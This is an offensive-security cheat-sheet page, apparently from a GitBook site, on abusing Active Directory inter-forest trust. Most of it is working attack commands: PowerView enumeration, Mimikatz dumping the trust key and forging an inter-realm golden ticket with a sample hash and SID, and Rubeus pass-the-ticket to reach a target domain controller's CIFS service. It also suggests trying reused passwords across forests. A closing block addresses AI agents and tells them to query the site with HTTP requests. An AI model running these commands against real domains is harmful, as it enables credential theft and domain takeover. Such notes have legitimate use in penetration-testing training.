# Abusing inter-forest trust

Since a forest is a security boundary, we can only access domain services that have been shared with the domain we have compromised (our source domain). Use e.g. BloodHound to look for users that have an account (with the same username) in both forests and try password re-use. Additionally, we can use BloodHound or PowerView to hunt for foreign group memberships between forests. The PowerView command:

```powershell
Get-DomainForeignGroupMember -domain targetdomain.com
```

To impersonate a user from our source domain to access services in a foreign domain, we can do the following.

Obtaining the domain trust key:&#x20;

```powershell
Invoke-Mimikatz -Command '"lsadump::trust /patch"'
```

Use Mimikatz to generate a TGT for the target domain using the trust key:

```powershell
Invoke-Mimikatz -Command '"Kerberos::golden /user:Administrator /domain:dollarcorp.moneycorp.local /sid:S-1-5-21-1874506631-3219952063-538504511 /rc4:60ec884517101aaa20f0fe574dde8eda /service:krbtgt /target:eurocorp.local /ticket:trust.kirbi"'
```

Then, use Rubeus to ask a TGS for e.g. the CIFS service on the target DC using this TGT.

```powershell
.\Rubeus.exe asktgs /ticket:trust.kirbi /service:cifs/eurocorp-dc.eurocorp.local /dc:eurocorpdc.eurocorp.local /ptt
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://rfc1918.gitbook.io/offsec/active-directory/privilege-escalation/abusing-inter-forest-trust.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
